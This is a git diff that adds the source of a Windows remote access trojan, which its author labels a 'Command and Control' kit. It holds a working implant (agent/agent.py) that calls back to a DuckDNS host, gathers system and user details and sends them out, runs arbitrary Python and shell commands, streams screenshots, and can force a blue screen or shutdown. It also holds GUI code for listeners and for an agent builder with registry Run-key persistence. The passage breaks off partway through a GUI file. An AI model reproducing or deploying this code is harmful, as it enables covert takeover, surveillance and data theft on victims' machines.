diff --git a/agent/agent.py b/agent/agent.py new file mode 100644 index 0000000..a087184 --- /dev/null +++ b/agent/agent.py @@ -0,0 +1,314 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- + +import socket +import base64 +import ctypes +import platform +import os +import subprocess +import threading +import struct + +from PIL import ImageGrab +from time import sleep +from cryptography.fernet import Fernet + +SEP = '' #Create static seperator string +BUFFER = 4096 #Create static buffer int +SERV_PORT = #Create static server port for agent to receive commands +EXFIL_PORT = #Create static port for agent to exfiltrate data to server +STRM_PORT = #Create static port for agent to send frames + +CURRENT_DIR = f"{os.getcwd()}\\{os.path.basename(__file__)}" #Get full filepath of current process + +class MultiProcessor: + #Function will start a child thread with no argument to the target function + def start_child_thread(self,function): + process = threading.Thread(target=function) + process.daemon = True + process.start() + + #Function will create target thread for function that taks one argurment + def start_child_thread_arg(self,function,arg): + arg = [arg] + process = threading.Thread(target=function,args=arg) + process.daemon = True + process.start() + +class Utilitys: + #Function will return windows version with a powershell command + def get_windows_version(self): + command = subprocess.Popen(['powershell', '(Get-WmiObject -class Win32_OperatingSystem).Version'],stdout=subprocess.PIPE) #Run powershell command and pipe output + version_output = command.stdout.read().decode() #Read output from powershell command + version_output = version_output.replace('\n','') #Replace new line with empty string + return version_output.strip('\r') #Strip carriage return and return the output + + #Function will get computers local ip and return it as string + def get_local_ip(self): + local_ip = socket.gethostbyname(socket.gethostname()) #Resolve system name + print(local_ip) + return local_ip #Return local ip address + + #Function checks if process is running as admin and returns boolean value with string + def check_process_privilege(self): + if ctypes.windll.shell32.IsUserAnAdmin(): + return "Administrator" + else: + return "User" + + #Function takes a string input and returns it in bytes + def convert_string_to_bytes(self, string): + string_to_bytes = str(string).encode() #Take input string and encode it + return string_to_bytes #Return string in byte value + + #Function will run systeminfo & ipconfig commands and then return the output + def extract_sys_ip_info(self): + system_info = subprocess.Popen('systeminfo', stdout=subprocess.PIPE) #Run the system info command + sysinfo_output = system_info.stdout.read().decode() #Store the output in a variable + ip_config = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE) #Run ipconfig command + ip_config_output = ip_config.stdout.read().decode() #Store the output in a variable + extracted_info = f'{sysinfo_output}\n{ip_config_output}' #Join the two variables + return extracted_info #Return the output + +class SystemManager: + + #Function will crash the computer with a blue screen + def blue_screen(self): + ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool())) + ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6) + + #Function will reboot the computer without a wait time + def restart_computer(self): + subprocess.run('shutdown /r /t 0',shell=True) + + #Function will shut down the computer without warning. + def shutdown_computer(self): + subprocess.run('shutdown /p') + +class Encryption: + + #Function will take string value and encrypt it with the master key and return the encoded value + def encrypt_packet(self,data_to_encrypt): + encryption_object = Fernet(MASTER_KEY) #create encryption object + encoded_data = data_to_encrypt.encode() #Encode the data as bytes + encrypted_data = encryption_object.encrypt(encoded_data) #Encrypt the data + return encrypted_data #Return the encrypted data + + #Function will take encoded value, decrypt it with the master key and return the plaintext value + def decrypt_packet(self,data_to_decrypt): + decryption_object = Fernet(MASTER_KEY) #Create decryption object + decrypted_data = decryption_object.decrypt(data_to_decrypt) #decrypt the encrypted data + plaintext = decrypted_data.decode() #decode the decrypted data + return plaintext #return the plaintext value of the data + +class ClientSocket: + # Keep all strings in an init function for later usage + def __init__(self): + self.heartbeat = 'echo' + self.dns_address = 'manuallolz.duckdns.org' + self.env_var = 'USERNAME' + self.python_flag = 'python' + self.system_command = 'system' + self.reconnect_to_server = 'reconnect' + self.ping_server = 'ping' + self.sys_info_exfil = 'sys_info' + self.blue_screen = 'bsod' + self.restart_computer = 'restart' + self.shutdown_computer = 'shutdown' + self.screenshot = 'screenshot' + self.stream_desktop = 'stream_desktop' + self.disconnect = 'disconnect' + + #Function will connect to server to initiate handshake + def connect_to_server(self): + domain = socket.gethostbyname(self.dns_address) #Get IP of domain + self.client_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Create client socket object + while True: #Loop infinitely until client connects + try: + print('Connecting') + self.client_socket.connect((domain,SERV_PORT)) #Connect to domain on port + break #Break loop if connection is successfull + except socket.error: #If connection is unnsuccessful..... + print('Unsuccessful. Reconnecting') + self.client_socket.close() #Destory socket object + sleep(10) #Sleep for 10 seconds + return self.connect_to_server() #Return function to create new socket and reinitiate the connection + print('Connection Successful. Continuing') + return self.initiate_handshake() + + #Function begins the process of creating a secure channel between the client and server + def initiate_handshake(self): + system_name = socket.gethostname() #Get the system name + self.client_socket.send(Utilitys().convert_string_to_bytes(system_name)) #Send the system name to the server + print(f'sent system name: {system_name}. Waiting for encryption key...') + return self.negotiate_encryption() + + #Function will get encryption key from server, decode it from base 64 and set the global variable for the master communication key + def negotiate_encryption(self): + global MASTER_KEY #Set master key as global variable + b64_encoded_key = self.client_socket.recv(BUFFER) #Decode b64 encoding + MASTER_KEY = base64.b64decode(b64_encoded_key) #Set master key equal to decoded encryption key + print(f'Got encryption key {MASTER_KEY}') + return self.extract_information() + + #Function extracts information from computer and sends it over to the server for further processing + def extract_information(self): + local_ip = Utilitys().get_local_ip() #Get local ip + operating_system = f'{platform.system()} {platform.release()}' #Platform and release 'Windows' and '10' for example + current_user = os.environ[self.env_var] #get the username of the current user + privilege = Utilitys().check_process_privilege() #get the current process privilege + windows_version = Utilitys().get_windows_version() #get the windows version + information_array = [] #create array and append all info to it + information_array.append(local_ip) + information_array.append(operating_system) + information_array.append(current_user) + information_array.append(privilege) + information_array.append(windows_version) + print(information_array) + self.client_socket.send(Encryption().encrypt_packet(str(information_array))) #send array over to server + return self.complete_handshake() + + #Function completes handshake by starting an echo with the server in a different process. Returns function to get commands from server + def complete_handshake(self): + MultiProcessor().start_child_thread(function=self.start_echo) + return self.main() + + #Function will send echo to server every 60 seconds. If the server doesnt get the echo or client disconnects, server will remove client from gui + def start_echo(self): + while True: + self.client_socket.send(Encryption().encrypt_packet(self.heartbeat)) #Send echo + sleep(60) + + #Main process loop. Receive command from server + def main(self): + while True: #Start infinite loop + server_command = self.receive_server_command() #Receive decrypted data from server + server_command = server_command.split(SEP) #Seperate server command for parsing + action_flag = server_command[0] #Get action flag from server + if action_flag == self.python_flag: #If the flag is for python execution + CodeExecution().execute_python_code(server_command[1]) #Execute the code to the right of the seperator + if action_flag == self.system_command: #If the action flag is for a system command + CodeExecution().execute_system_command(server_command[1]) #Execute the the code via cmd with subprocess + if action_flag == self.reconnect_to_server: #If the action flag is to reconnect, + self.client_socket.close() #Close the current socket + return self.connect_to_server() #Send main thread back to the connect function to reconnect to server + if action_flag == self.ping_server: #If the action flag is a ping from the server + ExfilSocket().exfil_socket_send(f'{socket.gethostname()} Is Online') #Tell the server that the host is online with the system name + if action_flag == self.sys_info_exfil: #If the action flag is to exfil system & ip info + ExfilSocket().exfil_socket_send(f'{Utilitys().extract_sys_ip_info()}')#Create an exfil socket and send the info + if action_flag == self.blue_screen: #If the action is a bluescreen + self.client_socket.close() #Close the current socket + SystemManager().blue_screen() #Call the crash function to blue screen the system + if action_flag == self.restart_computer: #If the action is to reboot + SystemManager().restart_computer() #Reboot computer + if action_flag == self.shutdown_computer: #If the action is to shutdown computer + SystemManager().shutdown_computer() #Shutdown the computer + if action_flag == self.stream_desktop: + MultiProcessor().start_child_thread_arg(StreamSocket().stream_desktop,arg=False) + if action_flag == self.screenshot: #If the action is screenshot + StreamSocket().stream_desktop(screenshot=True) #Send a screenshot + if action_flag == self.disconnect: #If the action is to disconnect + exit() + #Exit program + #Function will retrieve all data sent by server socket + def recv_all_data(self): + bytes_data = b'' #Create empty byte string + while True: #Create infinite loop + partial_data = self.client_socket.recv(BUFFER) #Receive encrypted data from server + bytes_data += partial_data #Add each itteration to empty byte string + if len(partial_data) < int(BUFFER): #If the length of the partial string is less than the buffer size + break #Data transmission is complete. Break the loop + return bytes_data #Return byte data string sent from server + + #Funtion will get data from the server and return it as plaintext. If the server disconnects, the client will attempt + #To connect back + def receive_server_command(self): + print('Getting command from server') + data = self.recv_all_data() #Receive entire string of data in bytes + if not data: #If the agent does not receive data/server disconnects + return self.connect_to_server() #Reconnect to the server + plain_text_data = Encryption().decrypt_packet(data) #Decrypt byte string to plaintext + return plain_text_data #Return Plaintext data + + #Function will send data back to server + def send_data_to_server(self,data): + data_to_send = Encryption().encrypt_packet(data) #Encrypt the data + self.client_socket.send(data_to_send) #Send data to server + +class ExfilSocket: + + #Function will create socket, connect to server, deliver data and destroy the socket + def exfil_socket_send(self, exfil_data): + domain = socket.gethostbyname(ClientSocket().dns_address) #Resolve domain to ip address + exfil_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Create exfil socket + exfil_socket.connect((domain,EXFIL_PORT)) #Connect to server + encrypted_data = Encryption().encrypt_packet(exfil_data) #Encrypt the data + exfil_socket.sendall(encrypted_data) #Send the encrypted data to the server + exfil_socket.close() #Close and destroy the socket + +class StreamSocket: + + def __init__(self): + self.image_file_path = str(f'{os.getenv("userprofile")}\\AppData\\Local\\Temp\\c.jpg') + self.dns_address = 'manuallolz.duckdns.org' + + #Function will take a screenshot, save, read and return the data + def take_screenshot(self): + screen_cap = ImageGrab.grab() #Take screenshot + screen_cap.save(self.image_file_path, 'jpeg') #Save the file + with open(self.image_file_path, 'rb') as image_file: #Open the image + image_data = image_file.read() #Read the data + image_file.close() #Close the file + return image_data #Return the data + + #Function will take single or multiple screenshots depending on boolean parameter + def stream_desktop(self,screenshot): + StreamSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Create socket + ip_address = socket.gethostbyname(self.dns_address) #Resolve dns + StreamSocket.connect((ip_address,STRM_PORT)) #connect to ip and streaming port + if not screenshot: #If screenshot is false + while True: #Start loop + image_data = self.take_screenshot() #Take screenshot + StreamSocket.sendall(struct.pack(">Q", len(image_data))) #Send struct len + StreamSocket.sendall(image_data) #Send the image data + elif screenshot: #If screenshot is true + image_data = self.take_screenshot() #Take screenshot + StreamSocket.sendall(struct.pack(">Q", len(image_data))) #send struct len + StreamSocket.sendall(image_data) #send struct + StreamSocket.close() #close socket + + +class CodeExecution(): + + #Function will execute code given as parameter with the python interpreter + def execute_python_code(self,python_code): + def exec_(python_code): #Create local exec function + try: + exec(str(python_code)) #Execute code + except Exception as error: #If there's an error + pass + MultiProcessor().start_child_thread_arg(exec_,python_code) #Start thread with code execution, main thread will continue communicating with server. + + #Function will execute system commands with subprocess module + def execute_system_command(self,system_command): + def exec_(system_command): #Create local exec function + try: + subprocess.run(system_command,shell=True)#Execute code + except Exception as error: #If there's an error + pass + MultiProcessor().start_child_thread_arg(exec_,system_command) #Start new thread for shell commands. Main thread will continue to communicate with server + +ClientSocket().connect_to_server() \ No newline at end of file diff --git a/agent/raw/.keep b/agent/raw/.keep new file mode 100644 index 0000000..e69de29 diff --git a/configs/.keep b/configs/.keep new file mode 100644 index 0000000..e69de29 diff --git a/configs/networking/.keep b/configs/networking/.keep new file mode 100644 index 0000000..e69de29 diff --git a/configs/shells/.keep b/configs/shells/.keep new file mode 100644 index 0000000..e69de29 diff --git a/configs/tokens/.keep b/configs/tokens/.keep new file mode 100644 index 0000000..e69de29 diff --git a/core/Qt5/ListenerGUI.py b/core/Qt5/ListenerGUI.py new file mode 100644 index 0000000..7c798b0 --- /dev/null +++ b/core/Qt5/ListenerGUI.py @@ -0,0 +1,113 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from PyQt5.QtWidgets import QWidget,QMenu +from PyQt5.QtCore import QEvent +from PyQt5 import QtCore, QtGui, QtWidgets +from ..Qt5.icons import IconObj +from ..utils.file_paths import CFGFilePath,BGPath +from ..utils.utils import ErrorHandling +from ..logging.logging import NetworkingConfigs,LoggingUtilitys +from ..networking.socket import ServerSocket + +class Ui_ListenerGUI(QWidget): + + #Function will only append port number to list if its in the correct port range + def CreateNewListener(self): + port_number = self.PortInputBox.text() #Get the port number from the input box + try: + if int(port_number) < 1 or int(port_number) > 65535:#If the port is outside of the logical range + ErrorHandling().raise_error('Invalid Port Number.', #Raise an error + 'Port must be in range 1 - 65535.', + 'Bad Port Number') + else: + if NetworkingConfigs().add_port_to_config_file(str(port_number)) == True: #If port was able to be appended to cfg cfile, + item = QtWidgets.QListWidgetItem(IconObj().port_icon,port_number) #Create item + self.PortDisplay.addItem(item) # Append value to port display + ServerSocket().create_new_socket(int(port_number)) # Create new socket, bind to current IP address on interface tun0 and append to socket array + else: + pass + + except ValueError: #Error handling for invalid data type + ErrorHandling().raise_error('Port must be integer.', + '', + 'Invalid Data Type') + except FileNotFoundError: #Error handling for config file not existing + ErrorHandling().raise_error('"ports.txt" Not Found.', + 'Add ports.txt to configs/networking', + 'ports.txt Not Found') + self.PortInputBox.clear() #Clear the port input box + + #Create a content menu when port display is right clicked + def eventFilter(self, source, event): + if event.type() == QEvent.ContextMenu and source is self.PortDisplay: + try: # Use try block to prevent program from crashing if no port exists when port display action code is executed + menu = QMenu(self) + start_listener = menu.addAction('Start Listener') #Add actions to the menu + delete_listener = menu.addAction('Destroy Listener') + action = menu.exec_(self.mapToGlobal(event.globalPos())) #GlobalPos will make sure context menu opens where mouse is clicked + #port_number will get the value from the box that gets clicked. the value is our port number + port_number = source.itemAt(event.pos()).text() #This line will crash the program without the try/except block + if action == start_listener: + ServerSocket().start_listening_on_socket(port_number) + NetworkingConfigs().record_listening_socket(port_number) + if action == delete_listener: + row = self.PortDisplay.currentRow() # Get the row number of the selected listener + self.PortDisplay.takeItem(row) # Remove port from gui + ServerSocket().remove_socket_from_array(port_number) # Delete the listener with the row number + NetworkingConfigs().remove_port_from_config_file(port_number) #Remove port number from config file + + return True + except Exception: + return False #Returns false for calling funciton + return super().eventFilter(source, event) + + #Function adds existing listeners to port display and creates sockets for them. socket creation func will not make socket if it has been created already + def add_existing_listeners(self): + ports_from_config = LoggingUtilitys().retrieve_file_data(CFGFilePath().server_sockets).split() + for port in ports_from_config: + ServerSocket().create_new_socket(int(port)) #Create, bind and append socket to socket array + item = QtWidgets.QListWidgetItem(IconObj().port_icon,port) #Create item + self.PortDisplay.addItem(item) #Add item to port gui + + def setupUi(self, Dialog): + Dialog.setWindowIcon(IconObj().sat_win_icon) + Dialog.setObjectName("Dialog") + Dialog.resize(318, 158) + font = QtGui.QFont() + font.setFamily("Bitstream Vera Sans") + font.setBold(True) + font.setWeight(75) + Dialog.setFont(font) + Dialog.setStyleSheet(f"background-image: url({BGPath().cheap_loic_lol});") + self.CreateListenerButton = QtWidgets.QPushButton(Dialog,clicked=lambda: self.CreateNewListener()) + self.CreateListenerButton.setGeometry(QtCore.QRect(210, 120, 100, 31)) + self.CreateListenerButton.setObjectName("CreateListenerButton") + self.PortInputBox = QtWidgets.QLineEdit(Dialog) + self.PortInputBox.setGeometry(QtCore.QRect(10, 120, 101, 33)) + self.PortInputBox.setObjectName("PortInputBox") + self.PortDisplay = QtWidgets.QListWidget(Dialog) + self.PortDisplay.setGeometry(QtCore.QRect(10, 10, 101, 91)) + self.PortDisplay.installEventFilter(self) + self.PortDisplay.setAcceptDrops(False) + self.PortDisplay.setStyleSheet("") + self.PortDisplay.setObjectName("PortDisplay") + self.add_existing_listeners() #Add existing listeners saved in ports.txt to ports display + self.retranslateUi(Dialog) + QtCore.QMetaObject.connectSlotsByName(Dialog) + + def retranslateUi(self, Dialog): + _translate = QtCore.QCoreApplication.translate + Dialog.setWindowTitle(_translate("Dialog", "Listeners")) + self.CreateListenerButton.setText(_translate("Dialog", "Create")) \ No newline at end of file diff --git a/core/Qt5/agent_builder_window.py b/core/Qt5/agent_builder_window.py new file mode 100644 index 0000000..a82c8a7 --- /dev/null +++ b/core/Qt5/agent_builder_window.py @@ -0,0 +1,189 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from ..logging.logging import DNSconfigs,NetworkingConfigs +from ..builder.agent_builder import Builder +from ..utils.utils import ErrorHandling +from ..networking.IP_Handler import NicHandler +from ..Qt5.icons import IconObj + +from PyQt5 import QtCore, QtGui, QtWidgets + +class Ui_builder_dialog(object): + + #Function will parse builder options from gui before calling create agent function + def check_builder_options(self): + reg_key = '' #Set reg_key to empty string + encryption_option = False #Set encryption key to false + + if self.hkcu_radio.isChecked(): #If HKCU run key is checked + reg_key = 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' #Return key + perst_option = 'reg/run' #Return registry key persistence option + elif self.hklm_radio.isChecked(): #If HKLM is checked + reg_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' #Return key#Return registry key + perst_option = 'reg/run' #Return registry key persistence option + elif self.none_radio.isChecked(): #If no persistence option is selected + reg_key = 'null' #Set reg key to string null to avoid error + perst_option = None #Set perstistence option to none + + if self.encryption_radio.isChecked(): #if the encryption radio is checked + encryption_option = True #Set encryption to true + + if reg_key == '': #If reg key is stil empty string, + ErrorHandling().raise_error('Persistence option required.','','Build Failure') #Raise error + return #Return back to calling function + else: + #If no error, parse host option and then create the agent + host = NicHandler().validate_host(self.host_combobox.currentText()) + Builder().create_agent( + self.port_input.text(), self.stream_port_input.text(), self.exfil_port_input.text(), + host, self.file_name_input.text(),reg_key,perst_option,encryption_option) + + def setupUi(self, builder_dialog): + builder_dialog.setObjectName("builder_dialog") + builder_dialog.resize(460, 479) + builder_dialog.setStyleSheet("background-color: rgb(0, 0, 0);") + builder_dialog.setWindowIcon(IconObj().builder_icon) + self.networking_group_box = QtWidgets.QGroupBox(builder_dialog) + self.networking_group_box.setGeometry(QtCore.QRect(10, 10, 441, 101)) + font = QtGui.QFont() + font.setFamily("Courier 10 Pitch") + font.setPointSize(14) + self.networking_group_box.setFont(font) + self.networking_group_box.setStyleSheet("background-color: rgb(51, 51, 51);") + self.networking_group_box.setAlignment(QtCore.Qt.AlignCenter) + self.networking_group_box.setObjectName("networking_group_box") + self.host_combobox = QtWidgets.QComboBox(self.networking_group_box) + self.host_combobox.setGeometry(QtCore.QRect(80, 30, 351, 27)) + self.host_combobox.setObjectName("host_combobox") + for domain in DNSconfigs().retrieve_dns_domains(): #for domains in the domains text file + self.host_combobox.addItem(domain) #add domain to dropdown menu + self.host_combobox.addItem('Local IP') + self.host_combobox.addItem('Public IP') + self.host_label = QtWidgets.QLabel(self.networking_group_box) + self.host_label.setGeometry(QtCore.QRect(10, 30, 61, 21)) + font = QtGui.QFont() + font.setPointSize(13) + self.host_label.setFont(font) + self.host_label.setObjectName("host_label") + self.port_label = QtWidgets.QLabel(self.networking_group_box) + self.port_label.setGeometry(QtCore.QRect(40, 60, 41, 19)) + font = QtGui.QFont() + font.setPointSize(13) + self.port_label.setFont(font) + self.port_label.setObjectName("port_label") + self.port_input = QtWidgets.QLineEdit(self.networking_group_box) + self.port_input.setGeometry(QtCore.QRect(80, 60, 113, 31)) + self.port_input.setObjectName("port_input") + self.obfuscation_groupbox = QtWidgets.QGroupBox(builder_dialog) + self.obfuscation_groupbox.setGeometry(QtCore.QRect(10, 120, 441, 101)) + font = QtGui.QFont() + font.setFamily("Courier 10 Pitch") + font.setPointSize(14) + self.obfuscation_groupbox.setFont(font) + self.obfuscation_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);") + self.obfuscation_groupbox.setAlignment(QtCore.Qt.AlignCenter) + self.obfuscation_groupbox.setObjectName("obfuscation_groupbox") + self.encryption_radio = QtWidgets.QRadioButton(self.obfuscation_groupbox) + self.encryption_radio.setGeometry(QtCore.QRect(10, 30, 141, 24)) + self.encryption_radio.setObjectName("encryption_radio") + self.persistance_groupbox = QtWidgets.QGroupBox(builder_dialog) + self.persistance_groupbox.setGeometry(QtCore.QRect(10, 230, 211, 111)) + font = QtGui.QFont() + font.setFamily("Courier 10 Pitch") + font.setPointSize(14) + self.persistance_groupbox.setFont(font) + self.persistance_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);") + self.persistance_groupbox.setAlignment(QtCore.Qt.AlignCenter) + self.persistance_groupbox.setObjectName("compilation_groupbox") + self.hkcu_radio = QtWidgets.QRadioButton(self.persistance_groupbox) + self.hkcu_radio.setGeometry(QtCore.QRect(10, 30, 114, 24)) + self.hkcu_radio.setObjectName("raw_script_radio") + self.hklm_radio = QtWidgets.QRadioButton(self.persistance_groupbox) + self.hklm_radio.setGeometry(QtCore.QRect(10, 50, 114, 24)) + self.hklm_radio.setObjectName("pyinstaller_radio") + self.none_radio = QtWidgets.QRadioButton(self.persistance_groupbox) + self.none_radio.setGeometry(QtCore.QRect(10, 70, 114, 24)) + self.none_radio.setObjectName('none_radio') + self.socket_groupbox = QtWidgets.QGroupBox(builder_dialog) + self.socket_groupbox.setGeometry(QtCore.QRect(230, 230, 221, 111)) + font = QtGui.QFont() + font.setFamily("Courier 10 Pitch") + font.setPointSize(14) + self.socket_groupbox.setFont(font) + self.socket_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);") + self.socket_groupbox.setAlignment(QtCore.Qt.AlignCenter) + self.socket_groupbox.setObjectName("socket_groupbox") + self.exfil_port_input = QtWidgets.QLineEdit(self.socket_groupbox) + self.exfil_port_input.setGeometry(QtCore.QRect(100, 30, 113, 33)) + self.exfil_port_input.setObjectName("exfil_port_input") + self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port()) + self.stream_port_input = QtWidgets.QLineEdit(self.socket_groupbox) + self.stream_port_input.setGeometry(QtCore.QRect(100, 70, 113, 33)) + self.stream_port_input.setObjectName("stream_port_input") + self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port()) + self.label = QtWidgets.QLabel(self.socket_groupbox) + self.label.setGeometry(QtCore.QRect(20, 40, 67, 19)) + self.label.setObjectName("label") + self.label_2 = QtWidgets.QLabel(self.socket_groupbox) + self.label_2.setGeometry(QtCore.QRect(10, 70, 81, 20)) + self.label_2.setObjectName("label_2") + self.file_settings_groupbox = QtWidgets.QGroupBox(builder_dialog) + self.file_settings_groupbox.setGeometry(QtCore.QRect(10, 350, 441, 71)) + font = QtGui.QFont() + font.setFamily("Courier 10 Pitch") + font.setPointSize(14) + self.file_settings_groupbox.setFont(font) + self.file_settings_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);") + self.file_settings_groupbox.setAlignment(QtCore.Qt.AlignCenter) + self.file_settings_groupbox.setObjectName("file_settings_groupbox") + self.file_name_input = QtWidgets.QLineEdit(self.file_settings_groupbox) + self.file_name_input.setGeometry(QtCore.QRect(110, 30, 321, 33)) + self.file_name_input.setObjectName("file_name_input") + self.file_name_label = QtWidgets.QLabel(self.file_settings_groupbox) + self.file_name_label.setGeometry(QtCore.QRect(10, 40, 81, 21)) + font = QtGui.QFont() + font.setPointSize(12) + self.file_name_label.setFont(font) + self.file_name_label.setObjectName("file_name_label") + self.build_stub_button = QtWidgets.QPushButton(builder_dialog,clicked=lambda: self.check_builder_options()) + self.build_stub_button.setGeometry(QtCore.QRect(10, 430, 441, 41)) + font = QtGui.QFont() + font.setFamily("Courier 10 Pitch") + font.setPointSize(15) + self.build_stub_button.setFont(font) + self.build_stub_button.setObjectName("build_stub_button") + + self.retranslateUi(builder_dialog) + QtCore.QMetaObject.connectSlotsByName(builder_dialog) + + def retranslateUi(self, builder_dialog): + _translate = QtCore.QCoreApplication.translate + builder_dialog.setWindowTitle(_translate("builder_dialog", "Agent Builder")) + self.networking_group_box.setTitle(_translate("builder_dialog", "Networking Settings")) + self.host_label.setText(_translate("builder_dialog", " Host")) + self.port_label.setText(_translate("builder_dialog", "Port")) + self.obfuscation_groupbox.setTitle(_translate("builder_dialog", "Obfuscation")) + self.encryption_radio.setText(_translate("builder_dialog", "Encrypt Payload")) + self.persistance_groupbox.setTitle(_translate("builder_dialog", "Persistence")) + self.hkcu_radio.setText(_translate("builder_dialog", "HKCU\\Run")) + self.hklm_radio.setText(_translate("builder_dialog", "HKLM\\Run")) + self.none_radio.setText(_translate("builder_dialog", "None")) + self.socket_groupbox.setTitle(_translate("builder_dialog", "Socket Settings")) + self.label.setText(_translate("builder_dialog", "Exfil Port")) + self.label_2.setText(_translate("builder_dialog", "Stream Port")) + self.file_settings_groupbox.setTitle(_translate("builder_dialog", "File Settings")) + self.file_name_label.setText(_translate("builder_dialog", "File Name")) + self.build_stub_button.setText(_translate("builder_dialog", "Build Stub")) + diff --git a/core/Qt5/domains_window.py b/core/Qt5/domains_window.py new file mode 100644 index 0000000..b389862 --- /dev/null +++ b/core/Qt5/domains_window.py @@ -0,0 +1,61 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from PyQt5 import QtCore, QtWidgets +from ..Qt5.icons import IconObj +from ..logging.logging import DNSconfigs + +class Ui_domains_window(object): + + def __init__(self): + self.current_domains = DNSconfigs().retrieve_dns_domains() #Current domains array + + #Function will remove item from domains list and domains.txt file + def remove_domain_from_list(self): + domain = self.domains_list.takeItem(self.domains_list.currentRow()).text() #Get the domain from the selected row on button press + DNSconfigs().remove_domain_from_file(domain) #Remove array from the configs file + + #Function will add domain to the domains file + def add_domain_to_file(self,domain): + self.domains_list.addItem(domain) #Add domain to domains list gui + DNSconfigs().add_domain_to_file(domain) #Add the domain to the domain file + self.new_domain_input.clear() #Clear the domain input bar + + def setupUi(self, domains_window): + domains_window.setObjectName("domains_window") + domains_window.resize(282, 247) + domains_window.setWindowIcon(IconObj().duck_dns_icon) + self.domains_list = QtWidgets.QListWidget(domains_window) + self.domains_list.setGeometry(QtCore.QRect(0, 10, 281, 171)) + self.domains_list.setObjectName("domains_list") + for domain in self.current_domains: #get domains in the domain array + self.domains_list.addItem(domain) #append the array to the domains list + self.new_domain_input = QtWidgets.QLineEdit(domains_window) + self.new_domain_input.setGeometry(QtCore.QRect(0, 210, 201, 31)) + self.new_domain_input.setObjectName("new_domain_input") + self.add_domain_button = QtWidgets.QPushButton(domains_window,clicked=lambda: self.add_domain_to_file(self.new_domain_input.text())) + self.add_domain_button.setGeometry(QtCore.QRect(210, 210, 31, 31)) + self.add_domain_button.setObjectName("add_domain_button") + self.del_domain_button = QtWidgets.QPushButton(domains_window,clicked=lambda: self.remove_domain_from_list()) + self.del_domain_button.setGeometry(QtCore.QRect(250, 210, 31, 31)) + self.del_domain_button.setObjectName("del_domain_button") + + self.retranslateUi(domains_window) + QtCore.QMetaObject.connectSlotsByName(domains_window) + + def retranslateUi(self, domains_window): + _translate = QtCore.QCoreApplication.translate + domains_window.setWindowTitle(_translate("domains_window", "DNS Domains")) + self.add_domain_button.setText(_translate("domains_window", "+")) + self.del_domain_button.setText(_translate("domains_window", "-")) \ No newline at end of file diff --git a/core/Qt5/duck_dns_token_window.py b/core/Qt5/duck_dns_token_window.py new file mode 100644 index 0000000..e658d72 --- /dev/null +++ b/core/Qt5/duck_dns_token_window.py @@ -0,0 +1,56 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from PyQt5 import QtCore, QtGui, QtWidgets +from ..logging.logging import LoggingUtilitys,DNSconfigs +from ..utils.utils import Notifications +from ..Qt5.icons import IconObj + +class Ui_dns_token_window(object): + + #Function updates token,closes window and notifys user that the token was updated + def update_token(self,new_token,dns_token_window): + DNSconfigs().write_new_token(new_token) #Write the token to the cfg file + dns_token_window.close() #Close the window + Notifications().raise_notification(f'Updated token to {new_token}','Success') #Raise notification + + def setupUi(self, dns_token_window): + dns_token_window.setObjectName("dns_token_window") + dns_token_window.resize(400, 136) + dns_token_window.setWindowIcon(IconObj().duck_dns_icon) + self.update_dns_button = QtWidgets.QPushButton(dns_token_window,clicked=lambda: self.update_token(self.dns_token_input.text(),dns_token_window)) + self.update_dns_button.setGeometry(QtCore.QRect(260, 100, 131, 